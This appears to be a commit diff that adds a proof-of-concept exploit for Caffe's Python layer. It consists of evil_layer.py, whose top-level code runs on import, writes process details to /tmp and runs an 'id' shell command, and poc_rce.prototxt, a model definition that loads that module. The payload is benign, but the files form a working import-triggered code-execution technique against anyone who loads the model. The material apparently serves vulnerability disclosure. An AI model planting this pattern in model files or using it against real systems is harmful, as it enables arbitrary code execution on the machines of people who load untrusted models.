Add working PoC: evil_layer.py (import-triggered RCE) + poc_rce.prototxt
Browse files- evil_layer.py +32 -0
- poc_rce.prototxt +22 -0
evil_layer.py
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: Caffe PythonLayer Arbitrary Code Execution
|
| 3 |
+
Executes on import via bp::import() — before Layer instantiation.
|
| 4 |
+
"""
|
| 5 |
+
import os
|
| 6 |
+
import sys
|
| 7 |
+
import subprocess
|
| 8 |
+
|
| 9 |
+
# ===== RCE happens HERE on import =====
|
| 10 |
+
proof_file = "/tmp/caffe_rce_proof.txt"
|
| 11 |
+
with open(proof_file, "w") as f:
|
| 12 |
+
f.write("Caffe PythonLayer RCE triggered via bp::import!\n")
|
| 13 |
+
f.write(f"PID: {os.getpid()}\n")
|
| 14 |
+
f.write(f"UID: {os.getuid()}\n")
|
| 15 |
+
f.write(f"CWD: {os.getcwd()}\n")
|
| 16 |
+
|
| 17 |
+
os.system("id > /tmp/caffe_rce_id_output")
|
| 18 |
+
print(f"[PoC] RCE verified — proof written to {proof_file}")
|
| 19 |
+
# ===== RCE done before Caffe gets to instantiate the layer =====
|
| 20 |
+
|
| 21 |
+
import caffe
|
| 22 |
+
|
| 23 |
+
class ExploitLayer(caffe.Layer):
|
| 24 |
+
"""Dummy layer to satisfy Caffe after import."""
|
| 25 |
+
def setup(self, bottom, top):
|
| 26 |
+
top[0].reshape(1)
|
| 27 |
+
def reshape(self, bottom, top):
|
| 28 |
+
top[0].reshape(1)
|
| 29 |
+
def forward(self, bottom, top):
|
| 30 |
+
top[0].data[...] = 0
|
| 31 |
+
def backward(self, top, propagate_down, bottom):
|
| 32 |
+
pass
|
poc_rce.prototxt
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
name: "CaffePythonLayerRCE_PoC"
|
| 2 |
+
|
| 3 |
+
layer {
|
| 4 |
+
name: "data"
|
| 5 |
+
type: "DummyData"
|
| 6 |
+
top: "data"
|
| 7 |
+
dummy_data_param {
|
| 8 |
+
shape { dim: 1 dim: 1 dim: 1 dim: 1 }
|
| 9 |
+
}
|
| 10 |
+
}
|
| 11 |
+
|
| 12 |
+
layer {
|
| 13 |
+
name: "exploit"
|
| 14 |
+
type: "Python"
|
| 15 |
+
bottom: "data"
|
| 16 |
+
top: "output"
|
| 17 |
+
python_param {
|
| 18 |
+
# bp::import("evil_layer") — top-level code in evil_layer.py runs immediately
|
| 19 |
+
module: "evil_layer"
|
| 20 |
+
layer: "ExploitLayer"
|
| 21 |
+
}
|
| 22 |
+
}
|